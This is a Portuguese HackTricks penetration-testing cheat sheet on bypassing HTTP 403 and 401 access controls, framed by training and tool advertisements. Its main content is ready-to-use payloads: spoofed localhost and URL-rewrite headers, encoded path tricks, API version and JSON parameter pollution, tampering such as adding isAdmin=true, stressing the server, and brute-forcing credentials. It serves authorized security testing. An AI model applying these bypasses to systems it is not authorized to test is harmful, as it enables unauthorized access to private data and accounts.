403 & 401 Bypasses
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, abrir shells e se divertir.
Fuzzing de Verbos/Métodos HTTP
Tente usar diferentes verbos para acessar o arquivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma resposta 200 para HEAD com
Content-Length: 55
significa que o verbo HEAD pode acessar a informação. Mas você ainda precisa encontrar uma maneira de exfiltrar essa informação.Usar um cabeçalho HTTP como
X-HTTP-Method-Override: PUT
pode sobrescrever o verbo usado.Use o verbo
TRACE
e, se você tiver muita sorte, talvez na resposta você também possa ver os cabeçalhos adicionados por proxies intermediários que podem ser úteis.
Fuzzing de Cabeçalhos HTTP
Mude o cabeçalho Host para algum valor arbitrário (que funcionou aqui)
Tente usar outros User Agents para acessar o recurso.
Fuzz HTTP Headers: Tente usar Cabeçalhos de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Se o caminho estiver protegido, você pode tentar contornar a proteção do caminho usando esses outros cabeçalhos:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Se a página estiver atrás de um proxy, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar do HTTP Request Smuggling ou cabeçalhos hop-by-hop.
Fuzz cabeçalhos HTTP especiais em busca de diferentes respostas.
Fuzz cabeçalhos HTTP especiais enquanto faz fuzzing de Métodos HTTP.
Remova o cabeçalho Host e talvez você consiga contornar a proteção.
Fuzzing de Caminho
Se /path estiver bloqueado:
Tente usar /%2e/path _(se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também_** /%252e**/path (dupla codificação de URL)
Tente contorno Unicode: /%ef%bc%8fpath (Os caracteres codificados em URL são como "/") então, quando codificados novamente, será //path e talvez você já tenha contornado a verificação do nome /path
Outros contornos de caminho:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Use toda esta lista nas seguintes situações:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Outros contornos de API:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (Poluição de Parâmetro JSON)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Poluição de Parâmetro)
Manipulação de Parâmetro
Mude o valor do param: De
id=123
-->id=124
Adicione parâmetros adicionais à URL:
?
id=124
—->id=124&isAdmin=true
Remova os parâmetros
Reordene os parâmetros
Use caracteres especiais.
Realize testes de limite nos parâmetros — forneça valores como -234 ou 0 ou 99999999 (apenas alguns valores de exemplo).
Versão do Protocolo
Se estiver usando HTTP/1.1 tente usar 1.0 ou até mesmo teste se suporta 2.0.
Outros Contornos
Obtenha o IP ou CNAME do domínio e tente contatá-lo diretamente.
Tente estressar o servidor enviando solicitações GET comuns (Funcionou para esse cara com o Facebook).
Mude o protocolo: de http para https, ou de https para http
Vá para https://archive.org/web/ e verifique se no passado aquele arquivo estava acessível mundialmente.
Força Bruta
Adivinhe a senha: Teste as seguintes credenciais comuns. Você sabe algo sobre a vítima? Ou o nome do desafio CTF?
Força bruta: Tente autenticação básica, digest e NTLM.
Ferramentas Automáticas
Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão de reconhecimento a relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para investigar mais a fundo, estourar shells e se divertir.
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated